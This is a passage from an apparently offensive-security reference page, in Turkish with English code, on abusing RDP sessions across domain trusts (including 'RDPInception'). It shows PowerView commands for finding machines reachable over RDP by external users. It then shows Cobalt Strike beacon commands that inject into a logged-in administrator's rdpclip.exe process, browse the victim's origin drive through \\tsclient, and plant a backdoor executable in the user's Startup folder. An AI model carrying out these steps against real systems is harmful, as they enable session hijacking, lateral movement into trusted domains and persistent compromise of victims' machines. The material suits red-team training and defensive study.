Eğer harici grup, mevcut alandaki herhangi bir bilgisayara RDP erişimine sahipse, bir saldırgan o bilgisayarı ele geçirip onu bekleyebilir.
O kullanıcı RDP üzerinden erişim sağladıktan sonra, saldırgan o kullanıcının oturumuna geçiş yapabilir ve harici alandaki izinlerini istismar edebilir.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Check other ways to steal sessions with other toolsin this page.
RDPInception
Eğer bir kullanıcı RDP ile bir makineye erişirse ve burada bir saldırgan onu bekliyorsa, saldırgan kullanıcının RDP oturumuna bir beacon enjekte edebilir ve eğer kurban RDP ile erişirken diski bağladıysa, saldırgan buna erişebilir.
Bu durumda, sadece kurbanınorijinal bilgisayarınıbackdoor yazarak tehdit edebilirsinizbaşlangıç klasörüne.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe